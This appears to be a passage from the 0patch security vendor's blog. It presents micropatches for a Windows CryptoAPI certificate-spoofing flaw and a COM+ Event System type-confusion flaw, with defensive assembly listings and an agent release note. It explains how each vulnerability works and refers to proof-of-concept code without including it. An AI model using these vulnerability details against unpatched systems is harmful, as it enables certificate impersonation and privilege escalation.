

    Alternatively, one could also remove the Edge notification via registry, and our patches won't interfere: they'll still be getting applied, but even with 0patch FREE no notification will be shown.

    If you're using 0patch and Edge on Windows 7 or Server 2008 R2, make sure to have Edge updated to the last available version (109.0.1518.78 *) and launch Edge to verify that it behaves as described above. If anything is unclear, contact our support by emailing [email protected].

    * Update 3/30/2023: Contrary to their announcement, Microsoft made a further Edge v109 update available to Windows 7 and Server 2008 R2 computers in March 2023, namely version 109.0.1518.95. We had to port our patches and recommend updating Edge to this version.




     




    Micropatches For Windows CryptoAPI Spoofing (CVE-2022-34689)

    1 March 2023 at 21:22

     

    August 2022 Windows Updates* brought a fix for CVE-2022-34689, a vulnerability in Windows CryptoAPI that allows an attacker to trick some Windows applications - depending on their use of CryptoAPI certificate caching - into accepting a fraudulent certificate. The vulnerability was reported to Microsoft  by UK NCSC and the NSA, but subsequently Tomer Peled and Yoni Rozenshein of Akamai reverse engineered Microsoft's patch and provided a detailed analysis with a proof-of-concept.

    (* While Microsoft published this information in October, they had silently provided the patch two months earlier.)

    The vulnerability is actually a cryptographic flaw, whereby broken MD5 hashing algorithm is used for identifying cached certificates. This allows the attacker to trick a Windows application into misidentifying a fraudulent certificate for a valid, cached one, because they both have the same MD5 hash.

    It is hard to say which applications are vulnerable; any Windows application using CryptoAPI with certificate caching is a potential candidate, but exploitability may depend on how the application is being used. For instance, Akamai researchers have identified old Chrome versions to be vulnerable, allowing a malicious web site with a fake certificate to impersonate a valid web site.

    While still-supported Windows systems have already received the official vendor fix for this vulnerability, there are Windows systems out there that aren't receiving security fixes from Microsoft anymore. In order to protect these systems, we have created our own micropatches for this vulnerability, which are available through the 0patch service.

    Our patches are logically equivalent to Microsoft's patches for this issue.



    MODULE_PATH ".\crypt32.dll"
    PATCH_ID 1000006
    PATCH_FORMAT_VER 2
    VULN_ID 1000007
    PLATFORM win64

    patchlet_start
        PATCHLET_ID 1
        PATCHLET_TYPE 2
        PATCHLET_OFFSET 0x159f9
        N_ORIGINALBYTES 5
        JUMPOVERBYTES 0
        PIT msvcrt!memcmp,crypt32!0x18c14,crypt32!0x15a01,crypt32!0x15a26
        
        ; 0x18c14 -> CCertObject::Release
        ; 0x15a01 -> FindEndObjectByHash block
        ; 0x15a26 -> Nevem še
        
        code_start
        
            mov rsi, rax        ; rax contains the returned certificate structure
                                ; when searching the cache
            test rax, rax       ; check if a certificate was found in the cache
            jz LABEL            ; jump to LABEL if no certificate was found
           
            mov rcx, [rax+58h]  ; get cached cerfiticate context
            mov rdx, [rsp+50h]  ; struct _CERT_CONTEXT *, current certificate
            mov eax, [rcx+10h]  ; get cached certificate length
            cmp eax, [rdx+10h]  ; compare length from cached and current certificate
            jnz LABEL2          ; jump to LABEL2 if lengths are not equal
           
            mov rdx, [rdx+8]    ; first buffer, current certificate context
            mov r8d, eax        ; number of characters to compare
            mov rcx, [rcx+8]    ; second buffer, cached certificate context
            call PIT_memcmp     ; compares characters in two buffers
            test eax, eax       ; memcmp returns 0 if equal
            jz LABEL            ; jump to LABEL if both contextes were equal
           
        LABEL2:
            mov rcx, rsi        ; contains the returned certificate structure
                                ; when searching the cache
            call PIT_0x18c14    ; call CCertObject::Release
                                ; release decrements the number of references to the certificate
                                ; if references are 0 then ~CCertObject and PkiFree are called.
            xor rsi, rsi        ; set rsi to 0
            mov [rsp+58h], rsi  ; set pointer to cached certificate to 0
           
        
        LABEL:
            test rsi, rsi       ; is the context of the cached certificate equal?
            jnz PIT_0x15a26     ; yes, they are equal, trust the certificate
            jmp PIT_0x15a01     ; no, context not equal, don't trust the certificate

        code_end
    patchlet_end

     

    Micropatch Availability

    The micropatch was written for the following security-adopted versions of Windows with all available Windows Updates installed:

    1. Windows 10 v2004
    2. Windows 10 v1909
    3. Windows 10 v1809
    4. Windows 10 v1803
    5. Windows 7 (without ESU, with ESU year 1, and with ESU year 2)
    6. Windows Server 2008 R2 (without ESU, with ESU year 1, and with ESU year 2)

    This micropatch has already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

    Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

    If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

    To learn more about 0patch, please visit our Help Center

    We'd like to thank Tomer Peled and Yoni Rozenshein of Akamai for sharing their POC, which allowed us to create a micropatch and protect our users against this attack. We also encourage all security researchers to privately share their analyses with us for micropatching.

     

    Micropatches for Windows COM+ Event System Service Elevation of Privilege Vulnerability (CVE-2022-41033)

    1 March 2023 at 16:22


     

    October 2022 Windows Updates brought a fix for CVE-2022-41033, a local privilege escalation vulnerability in Windows COM+ Event System Service. The vulnerability was reported to Microsoft by an anonymous source, but subsequently James Forshaw of Google Project Zero published their analysis, which included proof of concept code.

    This "type confusion" vulnerability allows a local low-privileged attacker to provide a memory address of their choosing to vulnerable code. The POC demonstrates reading from such address (and crashes the Event System Service process as a result) but this issue was reported as exploited in the wild, so attackers must have successfully turned it into a privilege escalation.

    While still-supported Windows systems have already received the official vendor fix for this vulnerability (assuming admins have applied the October 2022 or later Windows Update), there are Windows systems out there that aren't receiving security fixes from Microsoft anymore. In order to protect these systems, we have created our own micropatches for this vulnerability, which are available through the 0patch service.

    Our patches are logically equivalent to Microsoft's patches for this issue.



    MODULE_PATH "..\AffectedModules\es.dll_10.0.19041.572_Win10_2004_64bit_u202212\es.dll"
    PATCH_ID 1310
    PATCH_FORMAT_VER 2
    VULN_ID 7646
    PLATFORM win64

    patchlet_start
    PATCHLET_ID 1
    PATCHLET_TYPE 2
    PATCHLET_OFFSET 0xe669
    JUMPOVERBYTES 0
    N_ORIGINALBYTES 5
    PIT es.dll!0x24eaa

    code_start
           
        cmp word[r8], 0x101f    ;check if Names.vt == (VT_VECTOR | VT_LPWSTR)
        jne ERROR               ;if not, report error
        cmp word[r9], 0x100c    ;check if Values.vt == (VT_VECTOR | VT_VARIANT)
        jne ERROR               ;if not, report error
        mov eax, dword[r9+0x8]  ;move Names->calpwstr.cElems to eax for cmp
        cmp dword[r8+0x8], eax  ;compare Names->calpwstr.cElems == Values->capropvar.cElems
        jne ERROR               ;if not equal, report error
        jmp SUCCESS             ;if all checks pass, continue with normal execution
           
    ERROR:
        jmp PIT_0x24eaa         ;in case of error jump to the block that returns 0x80070057
               
    SUCCESS:
               
        code_end
    patchlet_end


     

    Let's see our micropatch in action. With 0patch disabled, the POC immediately crashes the Event System Service. With 0patch enabled, the attack doesn't work anymore because the invalid type is detected and blocked by our patch.




    Micropatch Availability

    The micropatch was written for the following security-adopted versions of Windows with all available Windows Updates installed:

    1. Windows 10 v2004
    2. Windows 10 v1909
    3. Windows 10 v1809
    4. Windows 10 v1803
     
    Note that Windows 7 and Server 2008 R2 are not affected by this vulnerability, and Windows 10 v21H1 was still receiving official Windows Updates in October 2022, and therefore doesn't need out patch.

    This micropatch has already been distributed to, and applied on, all online 0patch Agents in PRO or Enterprise accounts (unless Enterprise group settings prevent that). 

    Vulnerabilities like this one get discovered on a regular basis, and attackers know about them all. If you're using Windows that aren't receiving official security updates anymore, 0patch will make sure these vulnerabilities won't be exploited on your computers - and you won't even have to know or care about these things.

    If you're new to 0patch, create a free account in 0patch Central, then install and register 0patch Agent from 0patch.com, and email [email protected] for a trial. Everything else will happen automatically. No computer reboot will be needed.

    To learn more about 0patch, please visit our Help Center

    We'd like to thank James Forshaw of Google Project Zero for sharing their POC, which allowed us to create a micropatch and protect our users against this attack. We also encourage all security researchers to privately share their analyses with us for micropatching.

     

    0patch Agent 22.11.11.10550 Released

    15 February 2023 at 13:37


     

    Today we released a new version of 0patch Agent that fixes some issues reported by users or detected internally by our team. We always recommend keeping 0patch Agent updated to the latest version, as we only support the last couple of versions; not updating for a long time could lead to new patches no longer being downloaded and agent not being able to sync to the server properly. 

    Enterprise users can update their agents centrally via 0patch Central; if their policies mandate automatic updating for individual groups, agents in such groups will get updated automatically.

    Non-enterprise users will have to update 0patch Agents manually by logging in to computers with 0patch Agent and pressing "GET LATEST VERSION" in 0patch Console.

    We recommend automatically updating 0patch Agent: to enable automatic updates, see this article.

    The latest 0patch Agent is always downloadable from https://dist.0patch.com/download/latestagent.

    Release notes are available here.

    An enormous THANK YOU to all users who have been reporting technical issues to our support team, some of you investing a lot of time in investigating problems and searching for solutions or workarounds. You helped us make our product better for everyone!

     

    WARNING: We have users reporting that some anti-virus products seem to detect the new agent as malicious and block its installation or execution. Specifically, Avast detects 0patchServicex64.exe as malicious (preventing proper functioning of the agent). We have reported false positives to antivirus vendors. If you're affected, we recommend marking any antivirus detection of 0patch-related files occurring soon after agent update as a false positive, restoring quarantined files and making an exception for these files.

     

     

     

    ❌
    ❌